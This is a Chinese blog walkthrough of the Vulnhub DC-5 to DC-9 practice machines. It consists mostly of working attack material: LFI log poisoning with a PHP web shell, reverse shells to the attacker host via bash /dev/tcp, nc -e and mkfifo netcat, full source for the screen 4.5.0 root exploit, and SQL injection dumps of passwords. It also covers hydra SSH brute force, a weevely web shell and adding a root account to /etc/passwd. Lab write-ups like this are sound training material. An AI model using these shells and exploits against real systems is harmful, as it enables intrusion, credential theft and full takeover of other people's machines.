往期回顾
Vulnhub-DC这套靶机放那好久一直没打,这次就一块整理完😆
DC-5
nmap扫描存活主机和端口,发现开放了80、111、46407端口
其中,111和46407端口存在rpcbind ddos漏洞
该漏洞可使攻击者在远程rpcbind绑定主机上分配任意大小的内存(每次攻击最高可达4GB),除非进程崩溃,或者管理员挂起/重启rpcbind服务,否则该内存不会被释放
use auxiliary/scanner/misc/sunrpc_portmapper
set RHOSTS 192.168.150.150
访问80端口如下:
其中Contact
模块可以提交数据,随便填一下提交发现被重定向到thankyou.php
页面,并且底部的年份也发生了变化,接着尝试包含具有这些参数的文件,可能存在LFI漏洞
利用wfuzz来进行测试,发现file
参数可以成功文件包含得到/etc/passwd
wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.150.150/thankyou.php?FUZZ
wfuzz -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt -u http://192.168.150.150/thankyou.php?file=FUZZ
接着根据前面得知它用的Nginx服务,而Nginx的默认配置文件位置都保存在/etc/nginx/
目录下,所以我们来看一下/etc/nginx/nginx.conf
文件
##
# Logging Settings
##
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
找到系统日志文件后我们可以发送请求,再利用文件包含系统日志文件去执行命令反弹shell
?file=<?php system($_GET['cmd']); ?>
?file=/var/log/nginx/error.log&cmd=bash -i >& /dev/tcp/192.168.150.128/1234 0>&1
# 或者使用nc来反弹
?file=/var/log/nginx/error.log&cmd=nc -e /bin/sh 192.168.150.128 1234
# 也可以写入一句话(不过我这测试没成功
?file=<?php @eval($_POST["harvey"]); ?>
然后查看是否有可利用的SUID,查找4000权限发现有个具有SUID权限的异常二进制文件screen-4.5.0
find / -perm -4000 2>/dev/null
搜索可以发现screen-4.5.0存在本地提权
开启web服务,上传sh
文件发现只有在/tmp
目录下才有权限,并且执行sh
文件时发现它会报错
于是查看一下这个sh
文件得知它可分为三个部分
需要手工编译一下这两个C
文件,并修改一下sh
文件将前面的内容删除只留下最后一部分
# libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
gcc -fPIC -shared -ldl -o libhax.so libhax.c
# rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
gcc -o rootshell rootshell.c
# 41154.sh
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
再开启web服务上传这三个文件并执行一下sh文件即可提权(不过我这执行出了个问题😶🌫️
/tmp/rootshell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by /tmp/rootshell)
再来尝试手工打了一下也是不行
应该就是编译的时候glibc版本太高导致的
www-data@dc-5:/tmp$ objdump -p /tmp/rootshell
objdump -p /tmp/rootshell
/tmp/rootshell: file format elf64-x86-64
Program Header:
PHDR off 0x0000000000000040 vaddr 0x0000000000000040 paddr 0x0000000000000040 align 2**3
filesz 0x00000000000002d8 memsz 0x00000000000002d8 flags r--
INTERP off 0x0000000000000318 vaddr 0x0000000000000318 paddr 0x0000000000000318 align 2**0
filesz 0x000000000000001c memsz 0x000000000000001c flags r--
LOAD off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**12
filesz 0x0000000000000700 memsz 0x0000000000000700 flags r--
LOAD off 0x0000000000001000 vaddr 0x0000000000001000 paddr 0x0000000000001000 align 2**12
filesz 0x00000000000001e5 memsz 0x00000000000001e5 flags r-x
LOAD off 0x0000000000002000 vaddr 0x0000000000002000 paddr 0x0000000000002000 align 2**12
filesz 0x00000000000000e4 memsz 0x00000000000000e4 flags r--
LOAD off 0x0000000000002de8 vaddr 0x0000000000003de8 paddr 0x0000000000003de8 align 2**12
filesz 0x0000000000000268 memsz 0x0000000000000270 flags rw-
DYNAMIC off 0x0000000000002df8 vaddr 0x0000000000003df8 paddr 0x0000000000003df8 align 2**3
filesz 0x00000000000001e0 memsz 0x00000000000001e0 flags rw-
NOTE off 0x0000000000000338 vaddr 0x0000000000000338 paddr 0x0000000000000338 align 2**3
filesz 0x0000000000000020 memsz 0x0000000000000020 flags r--
NOTE off 0x0000000000000358 vaddr 0x0000000000000358 paddr 0x0000000000000358 align 2**2
filesz 0x0000000000000044 memsz 0x0000000000000044 flags r--
0x6474e553 off 0x0000000000000338 vaddr 0x0000000000000338 paddr 0x0000000000000338 align 2**3
filesz 0x0000000000000020 memsz 0x0000000000000020 flags r--
EH_FRAME off 0x000000000000200c vaddr 0x000000000000200c paddr 0x000000000000200c align 2**2
filesz 0x000000000000002c memsz 0x000000000000002c flags r--
STACK off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**4
filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw-
RELRO off 0x0000000000002de8 vaddr 0x0000000000003de8 paddr 0x0000000000003de8 align 2**0
filesz 0x0000000000000218 memsz 0x0000000000000218 flags r--
Dynamic Section:
NEEDED libc.so.6
INIT 0x0000000000001000
FINI 0x00000000000011dc
INIT_ARRAY 0x0000000000003de8
INIT_ARRAYSZ 0x0000000000000008
FINI_ARRAY 0x0000000000003df0
FINI_ARRAYSZ 0x0000000000000008
GNU_HASH 0x00000000000003a0
STRTAB 0x00000000000004d0
SYMTAB 0x00000000000003c8
STRSZ 0x00000000000000ad
SYMENT 0x0000000000000018
DEBUG 0x0000000000000000
PLTGOT 0x0000000000004000
PLTRELSZ 0x0000000000000078
PLTREL 0x0000000000000007
JMPREL 0x0000000000000688
RELA 0x00000000000005c8
RELASZ 0x00000000000000c0
RELAENT 0x0000000000000018
FLAGS_1 0x0000000008000000
VERNEED 0x0000000000000598
VERNEEDNUM 0x0000000000000001
VERSYM 0x000000000000057e
RELACOUNT 0x0000000000000003
Version References:
required from libc.so.6:
0x09691a75 0x00 03 GLIBC_2.2.5
0x069691b4 0x00 02 GLIBC_2.34
www-data@dc-5:/tmp$ nm /tmp/rootshell | grep GLIBC_2.34
nm /tmp/rootshell | grep GLIBC_2.34
U __libc_start_main@GLIBC_2.34
于是换台老一点的再编译上传即可成功提权得到flag
DC-6
nmap扫描存活主机和端口,发现开放了22、80端口
访问80端口如下:
于是我们需要修改/etc/hosts
文件
192.168.150.152 wordy
再次访问即可看到一个wp的站点,其版本为5.1.1,信息如下:
再用dirb扫一下目录啥的,并没有发现什么可以直接利用的
接着拿出wpscan跑一下看看,枚举出五个用户admin、mark、graham、sarah、jens
wpscan --url http://wordy/ --enumerate u
然后根据所给提示生成字典进行爆破得到用户mark的密码:helpdesk01
CLUE
OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ;-)
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
wpscan --url http://wordy/ -U dc-6-users.txt -P passwords.txt -t 50
成功登录后台后发现有个Activity monitor
可能存在漏洞
搜索发现有个Activity Monitor Command Injection
的漏洞,可以直接利用该html
文件,修改一下IP和端口即可反弹shell
这里我就手工打一下,点击Activity monitor –> Tools –> IP or integer
,在IP or integer *
处注入一个Linux命令,可以使用|;&
成功执行命令
于是尝试反弹shell,这里有个长度限制需要f12修改一下长度,成功反弹shell后我们生成一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
接着在/home/mark/stuff
目录下发现things-to-do.txt
文本如下:
Things to do:
- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement
从而我们可以得到的密码:GSo7isUM1D4,尝试ssh成功登录
接着我们发现用户graham可以在没有密码的情况下以jens身份运行backup.sh
然后来到/home/jens
目录下,将/bin/bash
添加到脚本并执行它来切换至jens用户
echo /bin/bash > backups.sh
sudo -u jens ./backups.sh
再来执行一下sudo -l
发现可以在没有密码的情况下运行nmap,于是我们就可以通过nmap提权得到flag
echo 'os.execute("/bin/sh")' > shell
sudo nmap --script=shell
DC-7
nmap扫描存活主机和端口,发现开放了22、80端口
访问80端口是个Drupal的站点,信息如下:
底部有个@DC7USER
的用户,根据ID社工搜索一下可以找到有个GitHub和Twitter
其中在他的Twitter上我们没有发现任何有用信息,而在他的GitHub上存在一个库staffdb
接着在配置文件config.php
中得到账密dc7user/MdR3xOgB7#dW,于是尝试web登录失败,ssh登录成功
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
登录后查看mbox
文件发现有个/opt/scripts/backups.sh
的脚本在运行
From root@dc-7 Thu Aug 29 17:00:22 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 17:00:22 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3EPu-0000CV-5C
for root@dc-7; Thu, 29 Aug 2019 17:00:22 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3EPu-0000CV-5C@dc-7>
Date: Thu, 29 Aug 2019 17:00:22 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 17:15:11 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 17:15:11 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3EeF-0000Dx-G1
for root@dc-7; Thu, 29 Aug 2019 17:15:11 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3EeF-0000Dx-G1@dc-7>
Date: Thu, 29 Aug 2019 17:15:11 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 17:30:11 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 17:30:11 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3Esl-0000Ec-JQ
for root@dc-7; Thu, 29 Aug 2019 17:30:11 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3Esl-0000Ec-JQ@dc-7>
Date: Thu, 29 Aug 2019 17:30:11 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 17:45:11 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 17:45:11 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3F7H-0000G3-Nb
for root@dc-7; Thu, 29 Aug 2019 17:45:11 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3F7H-0000G3-Nb@dc-7>
Date: Thu, 29 Aug 2019 17:45:11 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 20:45:21 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 20:45:21 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3Hvd-0000ED-CP
for root@dc-7; Thu, 29 Aug 2019 20:45:21 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3Hvd-0000ED-CP@dc-7>
Date: Thu, 29 Aug 2019 20:45:21 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists
gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists
From root@dc-7 Thu Aug 29 22:45:17 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 22:45:17 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3Jng-0000Iw-Rq
for root@dc-7; Thu, 29 Aug 2019 22:45:16 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3Jng-0000Iw-Rq@dc-7>
Date: Thu, 29 Aug 2019 22:45:16 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
From root@dc-7 Thu Aug 29 23:00:12 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Thu, 29 Aug 2019 23:00:12 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3K28-0000Ll-11
for root@dc-7; Thu, 29 Aug 2019 23:00:12 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3K28-0000Ll-11@dc-7>
Date: Thu, 29 Aug 2019 23:00:12 +1000
Database dump saved to /home/dc7user/backups/website.sql [success]
From root@dc-7 Fri Aug 30 00:15:18 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Fri, 30 Aug 2019 00:15:18 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3LCo-0000Eb-02
for root@dc-7; Fri, 30 Aug 2019 00:15:18 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3LCo-0000Eb-02@dc-7>
Date: Fri, 30 Aug 2019 00:15:18 +1000
rm: cannot remove '/home/dc7user/backups/*': No such file or directory
Database dump saved to /home/dc7user/backups/website.sql [success]
From root@dc-7 Fri Aug 30 03:15:17 2019
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Fri, 30 Aug 2019 03:15:17 +1000
Received: from root by dc-7 with local (Exim 4.89)
(envelope-from <root@dc-7>)
id 1i3O0y-0000Ed-To
for root@dc-7; Fri, 30 Aug 2019 03:15:17 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1i3O0y-0000Ed-To@dc-7>
Date: Fri, 30 Aug 2019 03:15:17 +1000
rm: cannot remove '/home/dc7user/backups/*': No such file or directory
Database dump saved to /home/dc7user/backups/website.sql [success]
于是我们查看/opt/scripts/backups.sh
文件发现这个脚本正在以root
的身份运行并且和www-data
在同一个组中,再来查看内容可以看到有个drush命令,它可以用于更改帐户密码
drush是drupal shell,用来管理drupal的命令列工具,用于与drupal cms进行通信
dc7user@dc-7:~$ cat /opt/scripts/backups.sh
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
接着切换到/var/www/html
目录下,在有Drupal
的环境中尝试使用该命令来更改管理员密码
drush user-password admin --password=admin
再来登录页面可以看到我们此时可以成功登录了
接着点击Manage -> Extend -> Install new module
发现可以上传模块,于是我们下载Drupal的PHP包并上传tar文件,点击Enable newly added modules
启用它,再勾选PHP Filter
后点击Install
完成模块的安装
https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
然后点击Content -> Add content -> Basic page
,在Text format
处选择PHP code
并放入反弹shell的代码,点击Preview
成功反弹shell后生成一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
后面看到可以利用weevely生成木马并通过weevely连接木马
# weevely generate 密码 生成的路径及文件名 weevely generate harvey /root/harvey.php weevely http://192.168.150.153/node/4 harvey
接着我们就可以来到/opt/scripts
目录下添加反弹shell的命令到backups.sh
文件中并执行它实现提权
# 提权失败?
echo "bash -i >& /dev/tcp/192.168.150.128/4444 0>&1" > backups.sh
# 后面查看wp说是要这样写,但是我试了下还是提权失败😅
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.150.128 4444 >/tmp/f" >> backups.sh
# 还有个利用msfvenom来生成反向shell,但是依旧提权失败😣
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.150.128 lport=4444 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 93 bytes
mkfifo /tmp/fmsr; nc 192.168.150.128 4444 0</tmp/fmsr | /bin/sh >/tmp/fmsr 2>&1; rm /tmp/fmsr
echo "mkfifo /tmp/fmsr; nc 192.168.150.128 4444 0</tmp/fmsr | /bin/sh >/tmp/fmsr 2>&1; rm /tmp/fmsr" >> backups.sh
后面重启了一下靶机再试试反弹shell就可以了,amazing🤣
DC-8
nmap扫描存活主机和端口,发现开放了22、80端口
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 35a7e6c4a83c631de1c0caa366bc88bf (RSA)
| 256 abef9f69acea54c68c6155490ae7aad9 (ECDSA)
|_ 256 7ab2c687ec9376d4ea594b1bc6e873f2 (ED25519)
80/tcp open http Apache httpd
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to DC-8 | DC-8
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache
访问80端口是个Drupal的站点,信息如下:
接着我们注意到/CHANGELOG.txt
文件,访问可知Drupal的版本为7.67
于是搜索一下对应版本存在的漏洞,然而这些都没啥用😒
再回头来看一下页面的功能块,发现有个可疑参数?nid=1
,尝试加个'
发现有报错如下:
于是我们利用sqlmap跑一下,发现有个可疑的数据库d7db
sqlmap -u http://192.168.150.154/?nid=1 --batch --dbs
接着查表发现如下:
sqlmap -u http://192.168.150.154/?nid=1 --batch -D d7db --tables
接着再来dump一下users表发现存在admin和john两个用户
┌──(root💀hacker)-[~]
└─# sqlmap -u http://192.168.150.154/?nid=1 --batch -D d7db -T users --dump
┌──(root💀hacker)-[~]
└─# sqlmap -u http://192.168.150.154/?nid=1 --batch -D d7db -T users -C name,pass --dump
Database: d7db
Table: users
[2 entries]
+-------+---------------------------------------------------------+
| name | pass |
+-------+---------------------------------------------------------+
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+-------+---------------------------------------------------------+
于是尝试爆破hash,得到用户john的密码:turtle
从而成功登录Drupal
点击Content -> Add content -> Basic page
发现这里只能编辑纯文本,无法添加php代码
于是接着翻一翻,在Contact Us -> Form settings
中发现可以插入php代码,输入php-reverse-shell并保存
然后填写好信息后点击Submit
即可反弹shell,并生成一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
接着查看是否有可利用的SUID,发现有个具有SUID权限的异常二进制文件/usr/sbin/exim4
find / -perm -4000 2>/dev/null
于是查看exim的版本为4.89
并搜索相关漏洞发现有个Exim 4.87 - 4.91 - Local Privilege Escalation
然后开个web服务并上传sh
文件,这里需要切换至/tmp
目录才有权限
cd /tmp
chmod 777 46996.sh
bash ./46996.sh -m netcat
nc -e /bin/sh 192.168.150.128 4444
运行sh
文件,nc反弹shell即可成功提权得到flag
DC-9
nmap扫描存活主机和端口,发现开放了80端口
访问80端口如下:
查看功能块发现Search
模块输入任何数据它都会返回到results.php
于是burp抓包将其保存到文本中
然后使用此请求丢到sqlmap里跑一下获取数据库
┌──(root💀hacker)-[~]
└─# sqlmap -r DC-9-request.txt --batch --dbs
available databases [3]: [*] information_schema [*] Staff [*] users
接着查表发现有个UserDetails
的表
┌──(root💀hacker)-[~]
└─# sqlmap -r DC-9-request.txt --batch -D users --tables
Database: users
[1 table]
+-------------+
| UserDetails |
+-------------+
接着再来dump一下发现存在如下用户:
┌──(root💀hacker)-[~]
└─# sqlmap -r DC-9-request.txt --batch -D users -T UserDetails --dump
Database: users
Table: UserDetails
[17 entries]
+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname | password | reg_date | username | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
| 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
+----+------------+---------------+---------------------+-----------+-----------+
再来看看Staff这个数据库的,cmd5解密得到admin密码:transorbital1
┌──(root💀hacker)-[~]
└─# sqlmap -r DC-9-request.txt --batch -D Staff --tables
Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users |
+--------------+
┌──(root💀hacker)-[~]
└─# sqlmap -r DC-9-request.txt --batch -D Staff -T Users --dump
Database: Staff
Table: Users
[1 entry]
+--------+----------------------------------+----------+
| UserID | Password | Username |
+--------+----------------------------------+----------+
| 1 | 856f5de590ef37314e7c3bdf6f8a66dc | admin |
+--------+----------------------------------+----------+
成功登录后台并且发现底部提示File does not exist
于是我们尝试文件包含发现可以成功读取到/etc/passwd
?file=../../../../etc/passwd
接着根据前面nmap扫的结果ssh 22端口被过滤了,可能有某种机制可以触发从而允许进入,于是我们检查端口敲击序列,找到了/etc/knockd.conf
文件如下:
22/tcp filtered ssh
[options] UseSyslog
[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
然后我们需要按照端口顺序7469,8475,9842使用knock命令进行端口碰撞,再使用nmap扫描查看是否打开了ssh
knock 192.168.150.155 7469 8475 9842
nmap -p22 192.168.150.155
再根据前面UserDetails表中得到的账密通过hydra进行爆破可知有三个用户可以登录ssh
┌──(root💀hacker)-[~]
└─# hydra -L users.txt -P pass.txt 192.168.150.155 ssh
[DATA] attacking ssh://192.168.150.155:22/
[22][ssh] host: 192.168.150.155 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.150.155 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.150.155 login: janitor password: Ilovepeepee
接着在janitor用户中发现passwords-found-on-post-it-notes.txt
文本如下:
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
于是再通过hydra进行爆破又得到一组账密fredf/B4-Tru3-001,该用户很可能对后面提权有帮助
ssh登录fredf用户,执行一下sudo -l
发现可以在没有密码的情况下以root身份运行test
但是这里跑了下test发现不能直接执行,需要用到test.py
Usage: python test.py read append
于是使用find命令查找一下test.py
发现就在/opt/devstuff
目录下存在test.py
,看下代码得知它是在读取一个文件,并将1中的内容加到2上
fredf@dc-9:/opt/devstuff/dist/test$ find / -name "test.py" -type f 2>/dev/null
/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py
接着我们尝试利用test
将一个具有root权限的用户写入到/etc/passwd
实现提权。
首先利用openssl来生成一个加盐的账号密码
┌──(root💀hacker)-[~]
└─# openssl passwd -1 -salt salt password
$1$salt$qJH7.N4xYta3aEG/dfqo/0
然后切换到/tmp
目录下,将具有root权限的用户信息写入到/tmp/root
文件中,再将/tmp/root
写入/etc/passwd
,此时切换用户即可成功提权得到flag
echo 'harvey:$1$salt$qJH7.N4xYta3aEG/dfqo/0:0:0::/root:/bin/bash' >> root
sudo /opt/devstuff/dist/test/test /tmp/root /etc/passwd
0 条评论